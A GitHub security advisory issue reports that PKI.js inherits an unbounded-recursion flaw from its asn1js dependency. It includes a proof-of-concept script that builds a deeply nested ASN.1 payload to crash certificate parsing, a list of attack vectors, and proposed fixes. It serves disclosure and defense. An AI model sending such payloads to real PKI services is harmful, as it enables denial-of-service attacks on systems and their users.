Skip to content

[SECURITY] Inherited Unbounded Recursion Vulnerability from asn1js Dependency #466

Description

@tldhs1144

Summary

PKI.js inherits the unbounded recursion vulnerability from its dependency asn1js ^3.0.6. All 51+ call sites to asn1js.fromBER() across pkijs are vulnerable to stack exhaustion attacks, affecting critical PKI operations.

Severity: High (CVSS v4.0: 8.7)
CWE: CWE-674 (Uncontrolled Recursion, inherited from dependency)
Root Cause: asn1js (see related issue: [link to asn1js issue])

This vulnerability cannot be fixed in pkijs alone - the upstream asn1js package must implement depth limits first.

Attack requirements: Network-accessible PKI parser, ~20KB payload
Impact: Complete service unavailability (process crash)


Affected PKI Operations

All 51+ call sites to asn1js.fromBER() are vulnerable:

PKI Component File Impact
Certificate src/Certificate.ts TLS certificate chain parsing
ContentInfo src/ContentInfo.ts PKCS#7/CMS SignedData processing
OCSPResponse src/OCSPResponse.ts OCSP validation failures
PFX src/PFX.ts PKCS#12 file imports crash
CertificationRequest src/CertificationRequest.ts CSR processing DoS
CertificateRevocationList src/CertificateRevocationList.ts CRL validation crashes
AuthenticatedSafe src/AuthenticatedSafe.ts P12 authenticated data
TimeStampResp src/TimeStampResp.ts RFC 3161 timestamp validation

Technical Details

Vulnerable Dependency Chain

pkijs (any version)
  → depends on asn1js ^3.0.6
    → asn1js.fromBER() has unbounded recursion

Core Vulnerability

File: src/PkiObject.ts:38

public static fromBER<T extends PkiObject>(raw: BufferSource): T {
    const asn1 = asn1js.fromBER(raw);  // ← No depth protection
    return new this({ schema: asn1.result });
}

Every call to .fromBER() on any pkijs class triggers the vulnerable asn1js parser.


Example Vulnerable Code Paths

// Certificate parsing - affects TLS
const cert = Certificate.fromBER(certBuffer);
// → asn1js.fromBER() with no depth limit

// PKCS#7 CMS parsing - affects signed data
const cms = ContentInfo.fromBER(cmsBuffer);
// → asn1js.fromBER() with no depth limit

// OCSP response parsing - affects certificate validation
const ocsp = OCSPResponse.fromBER(ocspBuffer);
// → asn1js.fromBER() with no depth limit

Proof of Concept

const pkijs = require('pkijs');

// Craft nested SEQUENCE: 0x30 <len> 0x30 <len> ... × 10,000
function makeNestedSequence(depth) {
    let inner = Buffer.alloc(0);
    for (let i = 0; i < depth; i++) {
        // 0x30 = SEQUENCE tag
        inner = Buffer.concat([Buffer.from([0x30, inner.length]), inner]);
    }
    return inner;
}

const payload = makeNestedSequence(10000);  // ~20 KB
console.log(`Payload size: ${payload.length} bytes`);

try {
    // Any fromBER() call will crash
    pkijs.Certificate.fromBER(payload);
    console.log('No vulnerability (unexpected)');
} catch (e) {
    console.log('Error:', e.message);
    // Expected: "RangeError: Maximum call stack size exceeded"
}

Attack Vectors

  • TLS servers: Send malicious certificate in TLS handshake
  • Email gateways: S/MIME signed messages with nested CMS structures
  • Code signing: Malicious Authenticode signatures
  • OCSP responders: Poison OCSP responses
  • Certificate authorities: CSR submission with nested structures
  • File upload: Upload malicious .p12, .pfx, .p7b, .crl files

Impact

Who is impacted:

  • All pkijs users (any version)
  • TLS implementations using pkijs for certificate validation
  • S/MIME email processors
  • Code signing validators
  • OCSP validation services
  • Certificate authority systems processing CSRs
  • PKCS#12 key import/export functionality
  • Applications processing PKCS#7/CMS SignedData

Impact severity:

  • Availability: Node.js process termination or browser tab crash
  • Attack complexity: Low (straightforward nested structure construction)
  • Authentication: Not required
  • User interaction: None (automated PKI data processing)
  • Payload size: ~20 KB for guaranteed crash
  • Scope: Changed (affects both vulnerable app and PKI infrastructure)

Package status:

  • Weekly downloads: ~700K
  • Actively maintained: Yes
  • Dependency: asn1js ^3.0.6 (vulnerable)

Recommended Fix

This requires a two-step fix:

Step 1: Fix asn1js (upstream dependency)

See related issue: [link to asn1js issue]

// In asn1js - add maxDepth parameter
export function fromBER(buffer: ArrayBuffer, maxDepth: number = 256): FromBerResult {
    return localFromBER(buffer, 0, buffer.byteLength, maxDepth);
}

Step 2: Update pkijs dependency

{
  "dependencies": {
    "asn1js": "^3.0.8"  // Version with depth limit
  }
}

Step 3 (optional defense-in-depth): Add wrapper in pkijs

public static fromBER<T extends PkiObject>(raw: BufferSource, maxDepth: number = 256): T {
    const asn1 = asn1js.fromBER(raw, maxDepth);  // Pass maxDepth
    if (asn1.offset === -1) {
        throw new Error("Malformed ASN.1 structure");
    }
    return new this({ schema: asn1.result });
}

Temporary User Workaround

Until asn1js is fixed, users can implement input validation:

// Validate size before calling pkijs
const MAX_CERT_SIZE = 1024 * 1024;  // 1 MB

function safeParseCertificate(buffer) {
    if (buffer.byteLength > MAX_CERT_SIZE) {
        throw new Error('Certificate too large');
    }
    try {
        return pkijs.Certificate.fromBER(buffer);
    } catch (err) {
        if (err instanceof RangeError && err.message.includes('call stack')) {
            throw new Error('Certificate nesting depth exceeded (possible DoS attack)');
        }
        throw err;
    }
}

CVSS v4.0 Assessment

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Score: 8.7 (High)

Breakdown:

  • AV:N (Network) - Exploitable via TLS, HTTPS, email, file upload
  • AC:L (Low) - Trivial nested SEQUENCE construction
  • AT:N (None) - No additional attack requirements
  • PR:N (None) - No authentication required
  • UI:N (None) - Automated server-side or client-side parsing
  • VA:H (High) - Complete service disruption (process crash)
  • SA:L (Limited) - Impact on PKI infrastructure beyond vulnerable app

References


Disclosure

Discovery Date: 2026-03-19
Researcher: Sion Park
Contact: tldhs1144@gmail.com

I am requesting coordinated disclosure for both packages. Please coordinate with the asn1js maintainers (same team) to fix the root cause first, then update the pkijs dependency.


Note: This vulnerability cannot be fixed in pkijs alone. The upstream asn1js package must implement depth limits first. I recommend coordinated release of both fixes.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions